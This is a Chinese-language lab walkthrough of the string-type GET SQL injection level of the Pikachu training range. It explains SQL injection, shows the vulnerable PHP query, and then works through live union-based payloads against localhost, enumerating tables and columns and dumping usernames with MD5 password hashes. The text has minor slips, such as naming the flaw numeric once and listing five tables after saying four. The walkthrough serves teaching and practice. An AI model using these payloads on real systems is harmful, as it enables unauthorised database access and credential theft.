pikachu靶场通关笔记19 SQL注入02-字符型注入(GET)

news2025/6/13 1:40:26

目录

一、SQL注入

二、字符型SQL注入

三、字符型注入与数字型注入

四、源码分析

五、渗透实战

1、渗透准备

2、SQL注入探测

(1)输入单引号

(2)万能注入语句

3、获取回显列orderby

4、获取数据库名database

5、获取表名table

6、获取列名column

7、获取字段


本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关)渗透集合,通过对字符型注入(get)关卡源码的代码审计找到SQL安全风险原理,讲解字符型注入(get)的原理并进行渗透实践,本文为SQL注入02之字符型注入(get)关卡的渗透部分。

一、SQL注入

SQL注入(SQL Injection)是指攻击者通过在应用程序的输入参数中插入恶意SQL代码,欺骗服务器执行非预期的数据库操作。这是因为应用程序未对用户输入进行充分过滤或验证,直接将输入拼接到SQL查询语句中。

描述
基本定义通过构造恶意SQL语句插入到应用程序输入参数中,欺骗服务器执行非预期数据库操作
主要危害1. 数据泄露(用户信息、商业数据)
2. 数据篡改/删除
3. 服务器控制权获取
4. 数据库结构探测
防御措施1. 参数化查询(预编译语句)
2. 输入验证/过滤
3. 最小权限原则
4. WAF防护

二、字符型SQL注入

字符型注入主要针对字符型输入字段(如用户名、密码、搜索框等)进行攻击。攻击者通过在这些字段中插入恶意的SQL语句片段,干扰或篡改数据库的查询逻辑,从而实现非法操作,例如获取敏感数据、篡改数据或删除数据。

  • 输入参数被单引号(')或双引号(")包裹

  • 需要先闭合前引号才能注入恶意代码

  • 常见于用户名、搜索词等文本字段的处理

三、字符型注入与数字型注入

对比维度数值型注入字符型注入
参数类型处理整数/浮点数参数(如ID、价格等)处理字符串参数(如用户名、搜索词等)
语法特征无需引号包裹,直接拼接数字需用单引号(')或双引号(")包裹字符串
攻击原理通过算术运算或逻辑语句注入需先闭合引号再注入代码
注入示例id=1 AND 1=1
price=10-1
name=' OR '1'='1
user=admin'--
测试方法1. 直接附加逻辑(AND 1=1
2. 算术运算测试
1. 闭合引号测试(' OR '1'='1
2. 注释符测试
利用难度相对简单(无需处理引号)较复杂(需精确闭合引号)
防御盲区开发者易忽略非字符串参数的过滤开发者可能仅过滤单引号而忽略其他攻击方式
自动化工具检测SQLmap直接使用-p指定数字参数SQLmap需自动处理引号闭合(添加*标记注入点)

四、源码分析

打开pikachu靶场的SQL注入-字符型关卡对应的源码sqli_str.php,源码位置如下所示。

很明显查询语句没有对GET方法传入的参数id进行过滤,存在SQL注入风险,具体如下所示。

这段 PHP 代码的主要功能是处理一个通过 GET 方法提交的表单。当用户在 URL 中传递 submit 参数且 name 参数不为空时,代码会将用户输入的 name 作为条件,从 member 表中查询对应的 id 和 email 信息。如果查询到结果,则将用户的 id 和 email 信息以 HTML 段落的形式显示出来;如果没有查询到结果,则提示用户输入的 username 不存在。经过详细注释的代码如下所示。 

<?php
// 检查是否通过GET方法提交了表单,并且表单中名为 'name' 的字段不为空
if(isset($_GET['submit']) && $_GET['name']!=null){
    // 从GET请求中获取名为 'name' 的字段的值,并将其赋值给变量 $name
    $name=$_GET['name'];

    // 构造一个SQL查询语句,将用户输入的 $name 直接拼接到查询语句中
    // 此查询的目的是从 member 表中选取 username 等于用户输入值的记录的 id 和 email 字段
    // 注意:由于 $name 是字符型,在SQL语句中需要用单引号括起来
    $query="select id,email from member where username='$name'";

    // 调用 execute 函数执行构造好的 SQL 查询,$link 是数据库连接对象
    $result=execute($link, $query);

    // 检查查询结果集中的行数是否大于等于 1
    // mysqli_num_rows 函数用于获取结果集中的行数
    if(mysqli_num_rows($result)>=1){
        // 当结果集中有记录时,使用 while 循环逐行获取结果集的数据
        // mysqli_fetch_assoc 函数会以关联数组的形式返回结果集中的一行数据
        while($data=mysqli_fetch_assoc($result)){
            // 从关联数组 $data 中获取 'id' 字段的值,并赋值给变量 $id
            $id=$data['id'];
            // 从关联数组 $data 中获取 'email' 字段的值,并赋值给变量 $email
            $email=$data['email'];
            // 将用户信息拼接成 HTML 字符串,添加到变量 $html 中
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    } else {
        // 如果结果集中没有记录,将提示信息拼接成 HTML 字符串,添加到变量 $html 中
        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}
?>

不过这段代码存在数值型 SQL 注入风险,原因在于对用户输入的 $name 未进行任何过滤和验证,就直接将其拼接到 SQL 查询语句里。由于 $name 是字符型,在 SQL 语句中用单引号包裹,攻击者可以利用这一点构造恶意输入。 

例如,攻击者在 URL 中输入 ?submit=1&name=' OR '1'='1 ,实际执行的 SQL 查询如下所示。

select id,email from member where username='' OR '1'='1';

因为 '1'='1' 恒为真,这个查询会返回 member 表中的所有记录,攻击者借此就能获取到所有用户的 id  email 信息。 

或者也可以URL 中输入 ?submit=1&name=' OR 1=1#,其中#注释掉了原本的单引号,实际执行的 SQL 查询如下所示。

select id,email from member where username='' OR 1=1#';

五、渗透实战

1、渗透准备

打开靶场SQL注入第二关,完整URL链接和页面如下所示。

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php

输入已知账户“lili”,页面显示了用户名和邮箱信息,这与代码审计的分析一致。根据此时URL地址可知GET方法传入的参数为name,具体如下所示。

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=lili&submit=%E6%9F%A5%E8%AF%A2#

2、SQL注入探测

(1)输入单引号

根据源码我们知道name为字符型注入点,那么我们从页面上能否发现有SQL注入呢?其实也是可疑的,在lili加上单引号,报错信息说明有注入风险,如下所示。

lili'

完整的报错信息为“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''lili''' at line 1”。 

(2)万能注入语句

接下来尝试万能注入语句,判断闭合语句,在数字后加上单引号 or= 1=1#万能注入语句,其中单引号是为了构造闭合,如下所示。

lili' or 1=1#

3、获取回显列orderby

使用order by判断其可回显的字段,如下所示最终判断其回显列数为2个。

lili' order by 3#

lili' order by 2#

由于回显位共两个,且通过orderby获知仅有两列,故而可知这两列已经全部显示出来了,即第一个回显位和第二个回显位都有效。

4、获取数据库名database

lili' union select database(),user()#

输入lili' union select database(),user()#后注入成功,显示信息为两个,第一个是原有信息,通过第二个获取到数据库名为pikachu,用户名为root@localhost,具体如下所示。 

接下来修改union前面的字符串,使前面内容为不存在的用户名,使只输出union后面的内容。 

-1' union select database(),user()#

输入id=-1 union select database(),user()#后注入成功,显示信息为1个,可以直接获取到数据库名为pikachu,用户名为root@localhost,具体如下所示。 

5、获取表名table

对pikchu数据库中表名进行爆破,注入命令如下所示。

id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#

渗透后获取到数据库pikachu表有4个table,分别为httpinfo,member,message,users,xssblind,如下所示。

6、获取列名column

对pikchu数据库中users表中的列名进行爆破,注入命令如下所示。

id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema="pikachu" and table_name='users'#

渗透后获取到数据库users表有4个column列,分别为id,username,password,level,如下所示。 

7、获取字段

对pikachu数据库中users表的username、password列进行爆破,命令如下所示。

id=-1 union select 1,group_concat(username,':',password) from pikachu.users#

渗透后获取到数据库users表的username、password字段如下所示,渗透成功。  

admin:e10adc3949ba59abbe56e057f20f883e,pikachu:670b14728ad9902aecba32e22fa4f6bd,test:e99a18c428cb38d5f260853678922e03

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2407064.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

论文阅读笔记——Muffin: Testing Deep Learning Libraries via Neural Architecture Fuzzing

Muffin 论文 现有方法 CRADLE 和 LEMON&#xff0c;依赖模型推理阶段输出进行差分测试&#xff0c;但在训练阶段是不可行的&#xff0c;因为训练阶段直到最后才有固定输出&#xff0c;中间过程是不断变化的。API 库覆盖低&#xff0c;因为各个 API 都是在各种具体场景下使用。…

【p2p、分布式,区块链笔记 MESH】Bluetooth蓝牙通信 BLE Mesh协议的拓扑结构 定向转发机制

目录 节点的功能承载层&#xff08;GATT/Adv&#xff09;局限性&#xff1a; 拓扑关系定向转发机制定向转发意义 CG 节点的功能 节点的功能由节点支持的特性和功能决定。所有节点都能够发送和接收网格消息。节点还可以选择支持一个或多个附加功能&#xff0c;如 Configuration …

关于easyexcel动态下拉选问题处理

前些日子突然碰到一个问题&#xff0c;说是客户的导入文件模版想支持部分导入内容的下拉选&#xff0c;于是我就找了easyexcel官网寻找解决方案&#xff0c;并没有找到合适的方案&#xff0c;没办法只能自己动手并分享出来&#xff0c;针对Java生成Excel下拉菜单时因选项过多导…

Ubuntu Cursor升级成v1.0

0. 当前版本低 使用当前 Cursor v0.50时 GitHub Copilot Chat 打不开&#xff0c;快捷键也不好用&#xff0c;当看到 Cursor 升级后&#xff0c;还是蛮高兴的 1. 下载 Cursor 下载地址&#xff1a;https://www.cursor.com/cn/downloads 点击下载 Linux (x64) &#xff0c;…

wpf在image控件上快速显示内存图像

wpf在image控件上快速显示内存图像https://www.cnblogs.com/haodafeng/p/10431387.html 如果你在寻找能够快速在image控件刷新大图像&#xff08;比如分辨率3000*3000的图像&#xff09;的办法&#xff0c;尤其是想把内存中的裸数据&#xff08;只有图像的数据&#xff0c;不包…

android RelativeLayout布局

<?xml version"1.0" encoding"utf-8"?> <RelativeLayout xmlns:android"http://schemas.android.com/apk/res/android"android:layout_width"match_parent"android:layout_height"match_parent"android:gravity&…

windows系统MySQL安装文档

概览&#xff1a;本文讨论了MySQL的安装、使用过程中涉及的解压、配置、初始化、注册服务、启动、修改密码、登录、退出以及卸载等相关内容&#xff0c;为学习者提供全面的操作指导。关键要点包括&#xff1a; 解压 &#xff1a;下载完成后解压压缩包&#xff0c;得到MySQL 8.…

【Linux】自动化构建-Make/Makefile

前言 上文我们讲到了Linux中的编译器gcc/g 【Linux】编译器gcc/g及其库的详细介绍-CSDN博客 本来我们将一个对于编译来说很重要的工具&#xff1a;make/makfile 1.背景 在一个工程中源文件不计其数&#xff0c;其按类型、功能、模块分别放在若干个目录中&#xff0c;mak…

如何应对敏捷转型中的团队阻力

应对敏捷转型中的团队阻力需要明确沟通敏捷转型目的、提升团队参与感、提供充分的培训与支持、逐步推进敏捷实践、建立清晰的奖励和反馈机制。其中&#xff0c;明确沟通敏捷转型目的尤为关键&#xff0c;团队成员只有清晰理解转型背后的原因和利益&#xff0c;才能降低对变化的…

华为OD机试-最短木板长度-二分法(A卷,100分)

此题是一个最大化最小值的典型例题&#xff0c; 因为搜索范围是有界的&#xff0c;上界最大木板长度补充的全部木料长度&#xff0c;下界最小木板长度&#xff1b; 即left0,right10^6; 我们可以设置一个候选值x(mid)&#xff0c;将木板的长度全部都补充到x&#xff0c;如果成功…

破解路内监管盲区:免布线低位视频桩重塑停车管理新标准

城市路内停车管理常因行道树遮挡、高位设备盲区等问题&#xff0c;导致车牌识别率低、逃费率高&#xff0c;传统模式在复杂路段束手无策。免布线低位视频桩凭借超低视角部署与智能算法&#xff0c;正成为破局关键。该设备安装于车位侧方0.5-0.7米高度&#xff0c;直接规避树枝遮…

通过 Ansible 在 Windows 2022 上安装 IIS Web 服务器

拓扑结构 这是一个用于通过 Ansible 部署 IIS Web 服务器的实验室拓扑。 前提条件&#xff1a; 在被管理的节点上安装WinRm 准备一张自签名的证书 开放防火墙入站tcp 5985 5986端口 准备自签名证书 PS C:\Users\azureuser> $cert New-SelfSignedCertificate -DnsName &…

在 Spring Boot 中使用 JSP

jsp&#xff1f; 好多年没用了。重新整一下 还费了点时间&#xff0c;记录一下。 项目结构&#xff1a; pom: <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://ww…

Chrome 浏览器前端与客户端双向通信实战

Chrome 前端&#xff08;即页面 JS / Web UI&#xff09;与客户端&#xff08;C 后端&#xff09;的交互机制&#xff0c;是 Chromium 架构中非常核心的一环。下面我将按常见场景&#xff0c;从通道、流程、技术栈几个角度做一套完整的分析&#xff0c;特别适合你这种在分析和改…

elementUI点击浏览table所选行数据查看文档

项目场景&#xff1a; table按照要求特定的数据变成按钮可以点击 解决方案&#xff1a; <el-table-columnprop"mlname"label"名称"align"center"width"180"><template slot-scope"scope"><el-buttonv-if&qu…

Vue ③-生命周期 || 脚手架

生命周期 思考&#xff1a;什么时候可以发送初始化渲染请求&#xff1f;&#xff08;越早越好&#xff09; 什么时候可以开始操作dom&#xff1f;&#xff08;至少dom得渲染出来&#xff09; Vue生命周期&#xff1a; 一个Vue实例从 创建 到 销毁 的整个过程。 生命周期四个…

uniapp 小程序 学习(一)

利用Hbuilder 创建项目 运行到内置浏览器看效果 下载微信小程序 安装到Hbuilder 下载地址 &#xff1a;开发者工具默认安装 设置服务端口号 在Hbuilder中设置微信小程序 配置 找到运行设置&#xff0c;将微信开发者工具放入到Hbuilder中&#xff0c; 打开后出现 如下 bug 解…

AI语音助手的Python实现

引言 语音助手(如小爱同学、Siri)通过语音识别、自然语言处理(NLP)和语音合成技术,为用户提供直观、高效的交互体验。随着人工智能的普及,Python开发者可以利用开源库和AI模型,快速构建自定义语音助手。本文由浅入深,详细介绍如何使用Python开发AI语音助手,涵盖基础功…

CVPR2025重磅突破:AnomalyAny框架实现单样本生成逼真异常数据,破解视觉检测瓶颈!

本文介绍了一种名为AnomalyAny的创新框架&#xff0c;该方法利用Stable Diffusion的强大生成能力&#xff0c;仅需单个正常样本和文本描述&#xff0c;即可生成逼真且多样化的异常样本&#xff0c;有效解决了视觉异常检测中异常样本稀缺的难题&#xff0c;为工业质检、医疗影像…

永磁同步电机无速度算法--基于卡尔曼滤波器的滑模观测器

一、原理介绍 传统滑模观测器采用如下结构&#xff1a; 传统SMO中LPF会带来相位延迟和幅值衰减&#xff0c;并且需要额外的相位补偿。 采用扩展卡尔曼滤波器代替常用低通滤波器(LPF)&#xff0c;可以去除高次谐波&#xff0c;并且不用相位补偿就可以获得一个误差较小的转子位…